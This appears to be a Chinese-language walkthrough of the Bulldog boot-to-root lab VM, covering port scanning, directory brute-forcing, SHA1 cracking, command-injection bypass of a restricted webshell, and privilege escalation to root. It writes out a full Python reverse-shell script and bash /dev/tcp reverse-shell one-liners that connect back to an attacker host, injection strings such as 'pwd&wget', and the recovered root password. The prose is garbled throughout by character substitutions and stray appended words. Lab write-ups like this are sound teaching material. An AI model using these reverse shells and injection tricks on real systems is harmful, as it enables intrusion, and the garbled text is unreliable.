斗牛犬工业公司最近将其网站污损,并由恶意德国牧羊犬黑客团队拥有。这是否意味着有更多的漏洞能够利用?你为何不知道?:)php
这是标准的Boot-to-Root。你惟一的目标是进入根目录并看到祝贺信息,你怎么作取决于你!html
难度:初学者/中级,若是遇到困难,试着找出你能够与系统交互的全部不一样方式。这是我惟一的暗示;)python
提权到root权限并查看flagweb
这个靶机,做者建议在Virtualbox上运行。可是攻击机kali在vm中。shell
首先是网络环境,将两台处于不一样虚拟机软件中的虚拟机配置到同一网卡下。django
Virtualbox设置为桥接模式,桥接到物理的无线网卡bash
最后kali执行dhclient
命令,请求分配ip,bulldog直接开机便可。网络
ip发现框架
kali安装在vmware,做为攻击机,ip为:ssh
bulldog靶机运行在virtualbox虚拟机上,在开机时,已经给出了ip地址:
端口扫描
执行命令 nmap -sS 192.168.0.113
发现 23 , 80 , 8080 端口开放
服务识别
执行命令 nmap -A -p 80,23 192.168.0.113
对23和80进行详细探测
发现ssh服务和web服务,而且web服务为python。
首先查看web,同时进行目录探测 dirb http://192.168.0.113
发现 /admin/auth/group , /admin/auth/user , /admin/login , /dev/shell 等目录
发现都重定向到 /admin/login 的登录页面
新系统不在使用php或任何CMS,而是使用Django框架开发。这意味着不太可能再找到网页的注入漏洞,只能找Django框架漏洞;网站不使用php,无需再找php漏洞或者写php木马;
有明显的英文提示:We'll remove these in prod. It's not like a hacker can do anything with a hash。
看到这个,常常作ctf的人,都能看出来,下一步就是hash碰撞
hash碰撞讲解:https://www.cnblogs.com/xuanhun/archive/2012/01/01/2309571.html
而后hash碰撞,咱们得出密码为 bulldoglover ,可是咱们没有用户名
咱们再来分析源码,发现了这个,咱们推测用户名为 sarah
应为哈希碰撞,后面的为密码
真是一箭双雕
发现给出的webshell只能使用给定的几个命令。尝试命令注入。
python -m SimpleHTTPServer 80
搭建简易web服务。在webshell上执行命令 pwd&wget http://192.168.0.112
。kali的日志中发现访问记录
1 import socket,subprocess,os 2 s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) 3 s.connect(("192.168.0.113",1234)) 4 os.dup2(s.fileno(),0) 5 os.dup2(s.fileno(),1) 6 os.dup2(s.fileno(),2) 7 p=subprocess.call(["/bin/bash","-i"])
pwd & wget http://192.168.0.112/pythonShell.py
本地日志显示成功下载
nc -lvp 1234
成功得到shell
(1) Windows攻击机开启nc监听:nc -lvnp 4444
(2) 直接执行 ls && bash -i >& /dev/tcp/192.168.0.112/1234 0>&1
失败,server报错500。
(3) 尝试屡次bash反弹,最后使用echo命令先输出命令,再输入到bash,反弹shell成功:
echo "bash -i >& /dev/tcp/192.168.0.112/1234 0>&1" | bash
反弹得到shell成功
cat /etc/passwd
, 发现须要关注的用户有:bulldogadmin、django
bulldogadmin
.hiddenadmindirectory
该隐藏目录存在两个文件,一个note提示,一个可执行文件
利用 strings
查看可执行文件中的字符
从以上字符中大体明白了程序的用途和用法
猜想多是密码,应为SUPER、 ulitimate、PASSWORD、youCANTget,这些都与最高权限帐号相关
你能够把他们连到一块儿正好是SUPERultimatePASSWORDyouCANTget
,H是来混淆咱们的,还好博主认识PASSWORD,咱们查看一下
通过测试,发现确实是密码
最后读取flag文件
su命令没法执行
咱们执行执行python shell
sudo python -c import pty; pty.spawn("/bin/bash")'
而且输入刚得到的密码
用户名:django
密码:SUPERultimatePASSWORDyouCANTget
不用猜想的密码,改了django再登陆也能够。
sudo su提权,密码是:SUPERultimatePASSWORDyouCANTget
1.目录暴破出dev和admin页面:
(1) 可暴破出dev页面,该页面源码里面有多个帐号的用户名、邮箱、密码sha1值。该页面还连接到webshell命令执行页面。
(2) 可暴破出admin后台页面,登陆密码经过dev页面破解sha1获得。
2.绕过白名单限制,执行命令和反弹shell:绕过限制执行命令比较容易。反弹shell尝试屡次使用bash反弹shell后成功,没有尝试py shell。
3.搜索系统中id为1000之后的用户的文件,能够找到隐藏文件。
4.猜解root密码很艰难。
难点和踩到的坑:
(1) 发现和破解sha1:在dev页面查看源码,发现多个用户hash后,即便不知道是40位的sha1,也能够直接去cmd5破解,系统会自动识别,能够破解出2个帐号。若是用hashcat暴破sha1,须要强大的字段和较长的时间。
(2) 反弹shell应该有多种方法:第一个想到的是bash shell,也想到了python反弹shell。只尝试了经过bash反弹shell,若是bash反弹不成功,可尝试往系统echo文件,赋予+x执行权限,执行脚本反弹。也可尝试Python是否可以反弹shell。
(3) 发现隐藏的包含root密码的文件,经过搜索id为1000以后的用户文件,查看历史命令,或者查看目录,也可能找到。
(4) 猜解root密码:这个是最难的,找到这个文件并不难,可是经过strings查看文件内容,而且拼接字符串为root密码,感受难度很大。